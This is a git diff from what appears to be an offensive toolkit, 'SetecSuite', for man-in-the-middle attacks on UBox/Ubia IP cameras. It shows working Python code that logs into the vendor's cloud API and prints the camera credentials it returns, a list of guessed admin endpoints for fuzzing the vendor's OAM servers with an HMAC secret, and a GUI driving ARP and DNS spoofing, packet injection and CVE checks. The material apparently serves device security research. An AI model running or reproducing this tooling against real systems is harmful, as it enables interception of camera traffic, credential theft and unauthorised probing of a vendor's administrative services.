log(f"OAM-FUZZ: ✓ {ep} -> code={r.get('code')} msg={r.get('msg')}",
|
||||||
|
C_IMPORTANT)
|
||||||
|
log(f"OAM-FUZZ done: {len(results['hits'])} hits / {results['tried']} tried "
|
||||||
|
f"({results['404s']} 404s, {results['errors']} errors)", C_SUCCESS)
|
||||||
|
return results
|
||||||
|
|
||||||
|
|
||||||
|
# Candidate OAM endpoints — confirmed in source + admin guesses
|
||||||
|
OAM_ENDPOINT_GUESSES = [
|
||||||
|
# Confirmed in OamHttpClient.java
|
||||||
|
"lgc/bind_err",
|
||||||
|
"app/push_channel_reg",
|
||||||
|
# Common admin patterns to probe
|
||||||
|
"oam/users", "oam/user/list", "oam/user/info",
|
||||||
|
"oam/devices", "oam/device/list", "oam/device/info",
|
||||||
|
"oam/firmware", "oam/firmware/list", "oam/firmware/upload",
|
||||||
|
"oam/ota", "oam/ota/list", "oam/ota/deploy", "oam/ota/push",
|
||||||
|
"oam/config", "oam/cloud/config", "oam/cloud/keys",
|
||||||
|
"oam/stats", "oam/dashboard", "oam/system",
|
||||||
|
"oam/logs", "oam/audit", "oam/security",
|
||||||
|
"user/list", "user/info", "user/all",
|
||||||
|
"device/list", "device/info", "device/all",
|
||||||
|
"firmware/list", "firmware/all", "firmware/latest",
|
||||||
|
"ota/list", "ota/all", "ota/deploy",
|
||||||
|
"admin/users", "admin/devices", "admin/firmware",
|
||||||
|
"admin/config", "admin/system", "admin/stats",
|
||||||
|
"stats", "dashboard", "system/info", "system/version",
|
||||||
|
"lgc/bind_ok", "lgc/list", "lgc/info",
|
||||||
|
"app/version", "app/config",
|
||||||
|
"push/list", "push/send", "push/all",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def hash_password(password):
|
||||||
|
h = hmac.new(b"", password.encode("utf-8"), hashlib.sha1).digest()
|
||||||
|
b64 = base64.b64encode(h).decode("utf-8")
|
||||||
|
return b64.replace("+", "-").replace("/", "_").replace("=", ",")
|
||||||
|
|
||||||
|
|
||||||
|
def api_post(base_url, endpoint, data, token=None):
|
||||||
|
url = f"{base_url}/{endpoint}"
|
||||||
|
body = json.dumps(data).encode("utf-8")
|
||||||
|
req = urllib.request.Request(url, data=body, method="POST")
|
||||||
|
req.add_header("Content-Type", "application/json")
|
||||||
|
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
|
||||||
|
if token:
|
||||||
|
req.add_header("X-Ubia-Auth-UserToken", token)
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||||
|
return json.loads(resp.read().decode("utf-8"))
|
||||||
|
except urllib.error.HTTPError as e:
|
||||||
|
return {"error": e.code, "body": e.read().decode("utf-8", errors="replace")[:500]}
|
||||||
|
except Exception as e:
|
||||||
|
return {"error": str(e)}
|
||||||
|
|
||||||
|
|
||||||
|
def login(cfg):
|
||||||
|
if not cfg["api_email"] or not cfg["api_password"]:
|
||||||
|
log("API: set api_email and api_password first", C_ERROR)
|
||||||
|
return False
|
||||||
|
hashed = hash_password(cfg["api_password"])
|
||||||
|
data = {
|
||||||
|
"account": cfg["api_email"], "password": hashed,
|
||||||
|
"app": "ubox", "app_version": "1.1.360",
|
||||||
|
"device_type": 1, "lang": "en", "brand": "Python",
|
||||||
|
"device_token": "none", "regid_jg": "fail",
|
||||||
|
"regid_xm": "fail", "regid_vivo": "fail",
|
||||||
|
}
|
||||||
|
log(f"API: logging in as {cfg['api_email']}...", C_INFO)
|
||||||
|
result = api_post(cfg["api_base"], "v3/login", data)
|
||||||
|
if result and result.get("msg") == "success":
|
||||||
|
cfg["api_token"] = result["data"]["Token"]
|
||||||
|
log(f"API: login OK — token={cfg['api_token'][:20]}...", C_SUCCESS)
|
||||||
|
|
||||||
|
# Extract app_config keys
|
||||||
|
app_cfg = result["data"].get("app_config", {})
|
||||||
|
if app_cfg:
|
||||||
|
log(f"API: leaked app_config keys extracted", C_IMPORTANT)
|
||||||
|
|
||||||
|
cfg.save()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
log(f"API: login failed: {json.dumps(result)[:200]}", C_ERROR)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def devices(cfg):
|
||||||
|
if not cfg["api_token"]:
|
||||||
|
log("API: login first", C_ERROR)
|
||||||
|
return []
|
||||||
|
result = api_post(cfg["api_base"], "user/device_list", {}, cfg["api_token"])
|
||||||
|
if result and result.get("msg") == "success":
|
||||||
|
devs = result["data"].get("list", [])
|
||||||
|
fw = result["data"].get("firmware_ver", [])
|
||||||
|
log(f"API: {len(devs)} device(s), firmware: {fw}", C_SUCCESS)
|
||||||
|
for d in devs:
|
||||||
|
uid = d.get("device_uid", "?")
|
||||||
|
name = d.get("name", "?")
|
||||||
|
cu = d.get("cam_user", "")
|
||||||
|
cp = d.get("cam_pwd", "")
|
||||||
|
model = d.get("model_num", "?")
|
||||||
|
bat = d.get("battery", "?")
|
||||||
|
log(f" [{uid}] {name} model={model} bat={bat}%", C_TRAFFIC)
|
||||||
|
if cu and cp:
|
||||||
|
log(f" LEAKED CREDS: {cu} / {cp}", C_IMPORTANT)
|
||||||
|
cfg["device_uid"] = uid
|
||||||
|
cfg["device_cam_user"] = cu
|
||||||
|
cfg["device_cam_pwd"] = cp
|
||||||
|
cfg.save()
|
||||||
|
return devs
|
||||||
|
else:
|
||||||
|
log(f"API: {json.dumps(result)[:300]}", C_ERROR)
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def check_firmware(cfg):
|
||||||
|
if not cfg["api_token"] or not cfg["device_uid"]:
|
||||||
|
log("API: login and get devices first", C_ERROR)
|
||||||
|
return None
|
||||||
|
result = api_post(cfg["api_base"], "user/qry/device/check_version/v3", {
|
||||||
|
"device_uid": cfg["device_uid"],
|
||||||
|
"host_version": "0.0.0.1",
|
||||||
|
"wifi_version": "0.0.0.1",
|
||||||
|
"is_lite": False, "zone_id": 2,
|
||||||
|
}, cfg["api_token"])
|
||||||
|
log(f"API firmware: {json.dumps(result, indent=2)}", C_TRAFFIC)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def device_services(cfg):
|
||||||
|
if not cfg["api_token"] or not cfg["device_uid"]:
|
||||||
|
log("API: login and get devices first", C_ERROR)
|
||||||
|
return None
|
||||||
|
result = api_post(cfg["api_base"], "user/qry/device/device_services",
|
||||||
|
{"device_uid": cfg["device_uid"]}, cfg["api_token"])
|
||||||
|
log(f"API services: {json.dumps(result, indent=2)[:600]}", C_TRAFFIC)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def raw_request(cfg, endpoint, data=None):
|
||||||
|
if not cfg["api_token"]:
|
||||||
|
log("API: login first", C_ERROR)
|
||||||
|
return None
|
||||||
|
log(f"API: POST {endpoint}", C_INFO)
|
||||||
|
result = api_post(cfg["api_base"], endpoint, data or {}, cfg["api_token"])
|
||||||
|
log(f"API: {json.dumps(result, indent=2)[:800]}", C_TRAFFIC)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def families(cfg):
|
||||||
|
return raw_request(cfg, "user/families")
|
||||||
|
|
||||||
|
|
||||||
|
def device_list_v2(cfg):
|
||||||
|
return raw_request(cfg, "v2/user/device_list")
|
||||||
54
build_tutk.sh
Executable file
54
build_tutk.sh
Executable file
@@ -0,0 +1,54 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Build TUTK IOTC shared library from static libs
|
||||||
|
cd "$(dirname "$0")"
|
||||||
|
|
||||||
|
OUTPUT="lib/libIOTCAPIs_ALL.so"
|
||||||
|
|
||||||
|
# Try each compatible ARM lib directory until one works
|
||||||
|
LIBDIRS=(
|
||||||
|
"Arm11_CLFSX_4.4.1"
|
||||||
|
"Armv7a_Hi8107_4.4.6"
|
||||||
|
"Arm11_BCM2835_4.5.1"
|
||||||
|
"Arm9_EPN7530X_4.5.2"
|
||||||
|
"Arm9_trident_4.5.2"
|
||||||
|
"Arm_IMAPx15_4.7.3"
|
||||||
|
"Arm_X41_4.8.2"
|
||||||
|
)
|
||||||
|
|
||||||
|
BASE="lib/tutk/TUTK_IOTC_Platform_14W36/Lib/Linux"
|
||||||
|
|
||||||
|
for dir in "${LIBDIRS[@]}"; do
|
||||||
|
LIBDIR="$BASE/$dir"
|
||||||
|
if [ ! -f "$LIBDIR/libIOTCAPIs.a" ]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
echo "Trying $dir..."
|
||||||
|
arm-linux-gnueabihf-gcc -shared -fpic -Wl,--whole-archive "$LIBDIR/libIOTCAPIs.a" "$LIBDIR/libAVAPIs.a" "$LIBDIR/libRDTAPIs.a" -Wl,--no-whole-archive -lpthread -o "$OUTPUT" 2>/dev/null
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
echo "Success with $dir!"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
echo " Failed, trying next..."
|
||||||
|
done
|
||||||
|
|
||||||
|
# If all hard-float attempts fail, try with arm-linux-gnueabi (soft-float) toolchain
|
||||||
|
if [ ! -f "$OUTPUT" ]; then
|
||||||
|
echo ""
|
||||||
|
echo "All hard-float attempts failed."
|
||||||
|
echo "Install soft-float toolchain: sudo apt install gcc-arm-linux-gnueabi -y"
|
||||||
|
echo "Then re-run this script."
|
||||||
|
|
||||||
|
if command -v arm-linux-gnueabi-gcc &>/dev/null; then
|
||||||
|
LIBDIR="$BASE/Arm11_BCM2835_4.8.3"
|
||||||
|
echo "Trying soft-float toolchain with $LIBDIR..."
|
||||||
|
arm-linux-gnueabi-gcc -shared -fpic -Wl,--whole-archive "$LIBDIR/libIOTCAPIs.a" "$LIBDIR/libAVAPIs.a" "$LIBDIR/libRDTAPIs.a" -Wl,--no-whole-archive -lpthread -o "$OUTPUT"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
echo "Success: $(file $OUTPUT)"
|
||||||
|
echo "Size: $(ls -lh $OUTPUT | awk '{print $5}')"
|
||||||
|
else
|
||||||
|
echo "Build failed"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
74
config.py
Normal file
74
config.py
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
"""Configuration management"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
|
||||||
|
DEFAULT_CONFIG = {
|
||||||
|
"camera_ip": "192.168.1.187",
|
||||||
|
"camera_mac": "14:92:f9:3e:58:0a",
|
||||||
|
"our_ip": "192.168.1.172",
|
||||||
|
"router_ip": "192.168.1.1",
|
||||||
|
"iface": "enP4p65s0",
|
||||||
|
"log_dir": os.path.expanduser("~/dumps/mitm_logs"),
|
||||||
|
"api_base": "https://portal.ubianet.com/api",
|
||||||
|
"api_email": "",
|
||||||
|
"api_password": "",
|
||||||
|
"api_token": "",
|
||||||
|
"device_uid": "",
|
||||||
|
"device_cam_user": "",
|
||||||
|
"device_cam_pwd": "",
|
||||||
|
"rest_port": 9090,
|
||||||
|
"fuzzer_threads": 5,
|
||||||
|
"fuzzer_delay": 0.2,
|
||||||
|
}
|
||||||
|
|
||||||
|
CONFIG_FILE = os.path.expanduser("~/setec_suite/cam-mitm/config.json")
|
||||||
|
|
||||||
|
|
||||||
|
class Config:
|
||||||
|
def __init__(self):
|
||||||
|
self._data = dict(DEFAULT_CONFIG)
|
||||||
|
self.load()
|
||||||
|
|
||||||
|
def __getitem__(self, key):
|
||||||
|
return self._data[key]
|
||||||
|
|
||||||
|
def __setitem__(self, key, value):
|
||||||
|
self._data[key] = value
|
||||||
|
|
||||||
|
def get(self, key, default=None):
|
||||||
|
return self._data.get(key, default)
|
||||||
|
|
||||||
|
def keys(self):
|
||||||
|
return self._data.keys()
|
||||||
|
|
||||||
|
def items(self):
|
||||||
|
return self._data.items()
|
||||||
|
|
||||||
|
def update(self, d):
|
||||||
|
self._data.update(d)
|
||||||
|
|
||||||
|
def load(self):
|
||||||
|
if os.path.exists(CONFIG_FILE):
|
||||||
|
try:
|
||||||
|
with open(CONFIG_FILE) as f:
|
||||||
|
self._data.update(json.load(f))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def save(self):
|
||||||
|
os.makedirs(os.path.dirname(CONFIG_FILE), exist_ok=True)
|
||||||
|
with open(CONFIG_FILE, "w") as f:
|
||||||
|
json.dump(self._data, f, indent=2)
|
||||||
|
|
||||||
|
def to_dict(self):
|
||||||
|
return dict(self._data)
|
||||||
|
|
||||||
|
def safe_dict(self):
|
||||||
|
"""Config dict with sensitive values masked"""
|
||||||
|
d = dict(self._data)
|
||||||
|
if d.get("api_password"):
|
||||||
|
d["api_password"] = "***"
|
||||||
|
if d.get("api_token"):
|
||||||
|
d["api_token"] = d["api_token"][:20] + "..."
|
||||||
|
return d
|
||||||
813
gui.py
Executable file
813
gui.py
Executable file
@@ -0,0 +1,813 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
"""
|
||||||
|
SetecSuite — Camera MITM Tool (PyQt6 GUI)
|
||||||
|
Usage: sudo /usr/bin/python3 gui.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import threading
|
||||||
|
import signal
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from PyQt6.QtCore import Qt, QTimer, pyqtSignal, QObject
|
||||||
|
from PyQt6.QtGui import QFont, QTextCursor, QColor, QPalette, QAction
|
||||||
|
from PyQt6.QtWidgets import (
|
||||||
|
QApplication, QMainWindow, QWidget, QTabWidget, QVBoxLayout, QHBoxLayout,
|
||||||
|
QPushButton, QPlainTextEdit, QLabel, QLineEdit, QTableWidget,
|
||||||
|
QTableWidgetItem, QHeaderView, QFormLayout, QGroupBox, QComboBox,
|
||||||
|
QStatusBar, QMessageBox, QSplitter, QTextEdit, QAbstractItemView,
|
||||||
|
QCheckBox,
|
||||||
|
)
|
||||||
|
|
||||||
|
from config import Config
|
||||||
|
from utils.log import (
|
||||||
|
log, log_lines, init_logfile, close_logfile, lock,
|
||||||
|
C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT,
|
||||||
|
)
|
||||||
|
from services import arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch
|
||||||
|
from utils import proto as proto_id
|
||||||
|
from api import ubox_client, server as rest_server, fuzzer, firmware_fetch, cve_checks, ota_bucket_probe
|
||||||
|
from api.fuzzer import KNOWN_ENDPOINTS
|
||||||
|
from inject import packet
|
||||||
|
from mitm import Controller
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Color map (Qt) ──────────────────────────────────────────────
|
||||||
|
QT_COLORS = {
|
||||||
|
C_NONE: QColor("#cccccc"),
|
||||||
|
C_ERROR: QColor("#ff5555"),
|
||||||
|
C_SUCCESS: QColor("#50fa7b"),
|
||||||
|
C_INFO: QColor("#8be9fd"),
|
||||||
|
C_TRAFFIC: QColor("#f1fa8c"),
|
||||||
|
C_IMPORTANT: QColor("#ff79c6"),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Bridge: log_lines deque -> Qt signal ────────────────────────
|
||||||
|
class LogBridge(QObject):
|
||||||
|
new_lines = pyqtSignal(list) # list of (line, color)
|
||||||
|
|
||||||
|
|
||||||
|
class CloudBridge(QObject):
|
||||||
|
response = pyqtSignal(str, object) # label, payload
|
||||||
|
|
||||||
|
|
||||||
|
class CveBridge(QObject):
|
||||||
|
result = pyqtSignal(str, object) # cve_id, result dict
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Main Window ─────────────────────────────────────────────────
|
||||||
|
class MainWindow(QMainWindow):
|
||||||
|
def __init__(self, ctrl):
|
||||||
|
super().__init__()
|
||||||
|
self.ctrl = ctrl
|
||||||
|
self.setWindowTitle("SetecSuite — Camera MITM")
|
||||||
|
self.resize(1400, 900)
|
||||||
|
self._apply_dark_theme()
|
||||||
|
|
||||||
|
self.bridge = LogBridge()
|
||||||
|
self.bridge.new_lines.connect(self._append_log)
|
||||||
|
self._last_log_idx = 0
|
||||||
|
|
||||||
|
self.cloud_bridge = CloudBridge()
|
||||||
|
self.cloud_bridge.response.connect(self._cloud_set_response)
|
||||||
|
self.cloud_response_signal = self.cloud_bridge.response
|
||||||
|
|
||||||
|
self.cve_bridge = CveBridge()
|
||||||
|
self.cve_bridge.result.connect(self._cve_set_status)
|
||||||
|
self.cve_signal = self.cve_bridge.result
|
||||||
|
|
||||||
|
self.tabs = QTabWidget()
|
||||||
|
self.tabs.addTab(self._build_dashboard(), "Dashboard")
|
||||||
|
self.tabs.addTab(self._build_log_tab(), "Live Log")
|
||||||
|
self.tabs.addTab(self._build_intruder_tab(), "Intruders")
|
||||||
|
self.tabs.addTab(self._build_cloud_tab(), "Cloud API")
|
||||||
|
self.tabs.addTab(self._build_fuzzer_tab(), "Fuzzer")
|
||||||
|
self.tabs.addTab(self._build_inject_tab(), "Inject")
|
||||||
|
self.tabs.addTab(self._build_cve_tab(), "CVEs")
|
||||||
|
self.tabs.addTab(self._build_config_tab(), "Config")
|
||||||
|
self.tabs.addTab(self._build_help_tab(), "Help")
|
||||||
|
self.setCentralWidget(self.tabs)
|
||||||
|
|
||||||
|
self.status = QStatusBar()
|
||||||
|
self.setStatusBar(self.status)
|
||||||
|
|
||||||
|
# Periodic UI refresh
|
||||||
|
self.refresh_timer = QTimer(self)
|
||||||
|
self.refresh_timer.timeout.connect(self._tick)
|
||||||
|
self.refresh_timer.start(300)
|
||||||
|
|
||||||
|
# Start REST API
|
||||||
|
threading.Thread(
|
||||||
|
target=rest_server.start_server,
|
||||||
|
args=(self.ctrl, self.ctrl.cfg["rest_port"]),
|
||||||
|
daemon=True,
|
||||||
|
).start()
|
||||||
|
|
||||||
|
log("SetecSuite GUI ready", C_SUCCESS)
|
||||||
|
log(f"Target: {ctrl.cfg['camera_ip']} Us: {ctrl.cfg['our_ip']} Router: {ctrl.cfg['router_ip']}", C_INFO)
|
||||||
|
|
||||||
|
# ── Theme ────────────────────────────────────────────────────
|
||||||
|
def _apply_dark_theme(self):
|
||||||
|
self.setStyleSheet("""
|
||||||
|
QWidget { background: #1e1f29; color: #f8f8f2; font-family: 'JetBrains Mono','Fira Code',monospace; font-size: 11pt; }
|
||||||
|
QTabWidget::pane { border: 1px solid #44475a; }
|
||||||
|
QTabBar::tab { background: #282a36; padding: 8px 16px; border: 1px solid #44475a; }
|
||||||
|
QTabBar::tab:selected { background: #44475a; color: #50fa7b; }
|
||||||
|
QPushButton { background: #44475a; border: 1px solid #6272a4; padding: 6px 14px; border-radius: 3px; }
|
||||||
|
QPushButton:hover { background: #6272a4; }
|
||||||
|
QPushButton:pressed { background: #50fa7b; color: #282a36; }
|
||||||
|
QPlainTextEdit, QTextEdit, QLineEdit { background: #282a36; border: 1px solid #44475a; selection-background-color: #44475a; }
|
||||||
|
QHeaderView::section { background: #44475a; color: #f8f8f2; padding: 4px; border: none; }
|
||||||
|
QTableWidget { background: #282a36; gridline-color: #44475a; }
|
||||||
|
QTableWidget::item:selected { background: #44475a; }
|
||||||
|
QGroupBox { border: 1px solid #44475a; margin-top: 10px; padding-top: 10px; }
|
||||||
|
QGroupBox::title { subcontrol-origin: margin; left: 10px; padding: 0 5px; color: #8be9fd; }
|
||||||
|
QStatusBar { background: #282a36; color: #50fa7b; }
|
||||||
|
QLabel#bigState { font-size: 18pt; font-weight: bold; }
|
||||||
|
QLabel.flag_on { color: #50fa7b; font-weight: bold; }
|
||||||
|
QLabel.flag_off { color: #ff5555; }
|
||||||
|
""")
|
||||||
|
|
||||||
|
# ── Dashboard tab ────────────────────────────────────────────
|
||||||
|
def _build_dashboard(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
|
||||||
|
ctrl_box = QGroupBox("MITM Control")
|
||||||
|
cl = QHBoxLayout(ctrl_box)
|
||||||
|
self.btn_start = QPushButton("▶ START MITM")
|
||||||
|
self.btn_stop = QPushButton("⏹ STOP")
|
||||||
|
self.btn_clear = QPushButton("Clear Log")
|
||||||
|
self.btn_start.clicked.connect(lambda: threading.Thread(target=self.ctrl.start_services, daemon=True).start())
|
||||||
|
self.btn_stop.clicked.connect(lambda: threading.Thread(target=self.ctrl.stop_services, daemon=True).start())
|
||||||
|
self.btn_clear.clicked.connect(self._clear_log)
|
||||||
|
cl.addWidget(self.btn_start)
|
||||||
|
cl.addWidget(self.btn_stop)
|
||||||
|
cl.addWidget(self.btn_clear)
|
||||||
|
cl.addStretch()
|
||||||
|
layout.addWidget(ctrl_box)
|
||||||
|
|
||||||
|
self.state_label = QLabel("MITM: STOPPED")
|
||||||
|
self.state_label.setObjectName("bigState")
|
||||||
|
self.state_label.setStyleSheet("color: #ff5555; font-size: 18pt; font-weight: bold; padding: 10px;")
|
||||||
|
layout.addWidget(self.state_label)
|
||||||
|
|
||||||
|
flags_box = QGroupBox("Services (click to toggle)")
|
||||||
|
self.flags_layout = QVBoxLayout(flags_box)
|
||||||
|
self.svc_buttons = {}
|
||||||
|
for name in ("arp", "dns", "http", "https", "udp10240", "udp20001", "sniffer", "intruder"):
|
||||||
|
btn = QPushButton(f"● {name}: off")
|
||||||
|
btn.setStyleSheet("text-align:left; color:#ff5555; padding:6px; background:#282a36;")
|
||||||
|
btn.clicked.connect(lambda _, n=name: threading.Thread(
|
||||||
|
target=self.ctrl.toggle_service, args=(n,), daemon=True).start())
|
||||||
|
self.svc_buttons[name] = btn
|
||||||
|
self.flags_layout.addWidget(btn)
|
||||||
|
layout.addWidget(flags_box)
|
||||||
|
|
||||||
|
proto_box = QGroupBox("Protocols Seen")
|
||||||
|
self.proto_layout = QVBoxLayout(proto_box)
|
||||||
|
self.proto_label = QLabel("(none yet)")
|
||||||
|
self.proto_label.setStyleSheet("color: #f1fa8c; font-family: monospace;")
|
||||||
|
self.proto_layout.addWidget(self.proto_label)
|
||||||
|
layout.addWidget(proto_box)
|
||||||
|
|
||||||
|
info_box = QGroupBox("Target")
|
||||||
|
il = QFormLayout(info_box)
|
||||||
|
self.lbl_cam = QLabel(self.ctrl.cfg["camera_ip"])
|
||||||
|
self.lbl_us = QLabel(self.ctrl.cfg["our_ip"])
|
||||||
|
self.lbl_rtr = QLabel(self.ctrl.cfg["router_ip"])
|
||||||
|
self.lbl_mac = QLabel(self.ctrl.cfg["camera_mac"])
|
||||||
|
for lbl in (self.lbl_cam, self.lbl_us, self.lbl_rtr, self.lbl_mac):
|
||||||
|
lbl.setStyleSheet("color: #f1fa8c; font-weight: bold;")
|
||||||
|
il.addRow("Camera IP:", self.lbl_cam)
|
||||||
|
il.addRow("Our IP:", self.lbl_us)
|
||||||
|
il.addRow("Router IP:", self.lbl_rtr)
|
||||||
|
il.addRow("Camera MAC:", self.lbl_mac)
|
||||||
|
layout.addWidget(info_box)
|
||||||
|
|
||||||
|
layout.addStretch()
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Live log tab ─────────────────────────────────────────────
|
||||||
|
def _build_log_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
bar = QHBoxLayout()
|
||||||
|
bar.addWidget(QLabel("Filter:"))
|
||||||
|
self.log_filter = QLineEdit()
|
||||||
|
self.log_filter.setPlaceholderText("substring filter (live)…")
|
||||||
|
bar.addWidget(self.log_filter)
|
||||||
|
self.autoscroll_cb = QCheckBox("Autoscroll")
|
||||||
|
self.autoscroll_cb.setChecked(True)
|
||||||
|
bar.addWidget(self.autoscroll_cb)
|
||||||
|
btn_clear = QPushButton("Clear")
|
||||||
|
btn_clear.clicked.connect(self._clear_log)
|
||||||
|
bar.addWidget(btn_clear)
|
||||||
|
layout.addLayout(bar)
|
||||||
|
self.log_view = QTextEdit()
|
||||||
|
self.log_view.setReadOnly(True)
|
||||||
|
self.log_view.setLineWrapMode(QTextEdit.LineWrapMode.NoWrap)
|
||||||
|
f = QFont("JetBrains Mono", 10)
|
||||||
|
f.setStyleHint(QFont.StyleHint.Monospace)
|
||||||
|
self.log_view.setFont(f)
|
||||||
|
layout.addWidget(self.log_view)
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Intruder tab ─────────────────────────────────────────────
|
||||||
|
def _build_intruder_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
head = QHBoxLayout()
|
||||||
|
self.intruder_count = QLabel("0 events")
|
||||||
|
self.intruder_count.setStyleSheet("color: #ff79c6; font-size: 14pt; font-weight: bold;")
|
||||||
|
head.addWidget(self.intruder_count)
|
||||||
|
head.addStretch()
|
||||||
|
btn_clear = QPushButton("Clear")
|
||||||
|
btn_clear.clicked.connect(lambda: (intruder_watch.clear_intruders(), self._refresh_intruders()))
|
||||||
|
head.addWidget(btn_clear)
|
||||||
|
layout.addLayout(head)
|
||||||
|
|
||||||
|
self.intruder_table = QTableWidget(0, 5)
|
||||||
|
self.intruder_table.setHorizontalHeaderLabels(["Time", "Kind", "Source", "Destination", "Detail"])
|
||||||
|
self.intruder_table.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeMode.Stretch)
|
||||||
|
self.intruder_table.setEditTriggers(QAbstractItemView.EditTrigger.NoEditTriggers)
|
||||||
|
self.intruder_table.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows)
|
||||||
|
layout.addWidget(self.intruder_table)
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Cloud API tab ────────────────────────────────────────────
|
||||||
|
def _build_cloud_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
|
||||||
|
cred_box = QGroupBox("UBox Credentials")
|
||||||
|
cl = QFormLayout(cred_box)
|
||||||
|
self.api_email = QLineEdit(self.ctrl.cfg.get("api_email", ""))
|
||||||
|
self.api_pw = QLineEdit(self.ctrl.cfg.get("api_password", ""))
|
||||||
|
self.api_pw.setEchoMode(QLineEdit.EchoMode.Password)
|
||||||
|
cl.addRow("Email:", self.api_email)
|
||||||
|
cl.addRow("Password:", self.api_pw)
|
||||||
|
layout.addWidget(cred_box)
|
||||||
|
|
||||||
|
self.cloud_status = QLabel("not logged in")
|
||||||
|
self.cloud_status.setStyleSheet("color: #ff5555; font-weight: bold; padding: 4px;")
|
||||||
|
layout.addWidget(self.cloud_status)
|
||||||
|
|
||||||
|
btn_box = QHBoxLayout()
|
||||||
|
actions = [
|
||||||
|
("Login", self._cloud_login),
|
||||||
|
("Devices", lambda: self._cloud_call("devices", ubox_client.devices)),
|
||||||
|
("Firmware", lambda: self._cloud_call("firmware", ubox_client.check_firmware)),
|
||||||
|
("Services", lambda: self._cloud_call("services", ubox_client.device_services)),
|
||||||
|
("Families", lambda: self._cloud_call("families", ubox_client.families)),
|
||||||
|
]
|
||||||
|
for label, fn in actions:
|
||||||
|
b = QPushButton(label)
|
||||||
|
b.clicked.connect(fn)
|
||||||
|
btn_box.addWidget(b)
|
||||||
|
layout.addLayout(btn_box)
|
||||||
|
|
||||||
|
fw_box = QGroupBox("Firmware Download")
|
||||||
|
fwl = QHBoxLayout(fw_box)
|
||||||
|
fwl.addWidget(QLabel("host_version:"))
|
||||||
|
self.fw_version = QLineEdit()
|
||||||
|
self.fw_version.setPlaceholderText("blank = auto-try common versions")
|
||||||
|
fwl.addWidget(self.fw_version)
|
||||||
|
fw_btn = QPushButton("Download FW")
|
||||||
|
fw_btn.clicked.connect(lambda: self._cloud_call(
|
||||||
|
"download_fw",
|
||||||
|
lambda cfg: firmware_fetch.check_and_download(
|
||||||
|
cfg, host_version=(self.fw_version.text() or None)
|
||||||
|
),
|
||||||
|
))
|
||||||
|
fwl.addWidget(fw_btn)
|
||||||
|
probe_btn = QPushButton("Probe OTA Bucket")
|
||||||
|
probe_btn.clicked.connect(lambda: self._cloud_call(
|
||||||
|
"ota_probe", ota_bucket_probe.probe
|
||||||
|
))
|
||||||
|
fwl.addWidget(probe_btn)
|
||||||
|
layout.addWidget(fw_box)
|
||||||
|
|
||||||
|
raw_box = QGroupBox("Raw POST")
|
||||||
|
rl = QHBoxLayout(raw_box)
|
||||||
|
self.raw_endpoint = QComboBox()
|
||||||
|
self.raw_endpoint.setEditable(True)
|
||||||
|
self.raw_endpoint.addItem("") # blank first
|
||||||
|
for ep in sorted(set(KNOWN_ENDPOINTS)):
|
||||||
|
self.raw_endpoint.addItem(ep)
|
||||||
|
self.raw_endpoint.lineEdit().setPlaceholderText(
|
||||||
|
f"pick one of {len(KNOWN_ENDPOINTS)} known endpoints, or type your own"
|
||||||
|
)
|
||||||
|
self.raw_endpoint.setMinimumWidth(420)
|
||||||
|
rl.addWidget(self.raw_endpoint, stretch=1)
|
||||||
|
rb = QPushButton("Send")
|
||||||
|
rb.clicked.connect(lambda: self._cloud_call(
|
||||||
|
f"raw {self.raw_endpoint.currentText()}",
|
||||||
|
lambda cfg: ubox_client.raw_request(cfg, self.raw_endpoint.currentText())
|
||||||
|
))
|
||||||
|
rl.addWidget(rb)
|
||||||
|
oam_btn = QPushButton("OAM Send")
|
||||||
|
oam_btn.setToolTip("Sign with OAM HMAC secret and post to oam.ubianet.com")
|
||||||
|
oam_btn.clicked.connect(lambda: self._cloud_call(
|
||||||
|
f"oam {self.raw_endpoint.currentText()}",
|
||||||
|
lambda cfg: ubox_client.oam_post(self.raw_endpoint.currentText(), {})
|
||||||
|
))
|
||||||
|
rl.addWidget(oam_btn)
|
||||||
|
oam_fuzz_btn = QPushButton("OAM Fuzz")
|
||||||
|
oam_fuzz_btn.setToolTip("Probe ~50 candidate OAM admin endpoints")
|
||||||
|
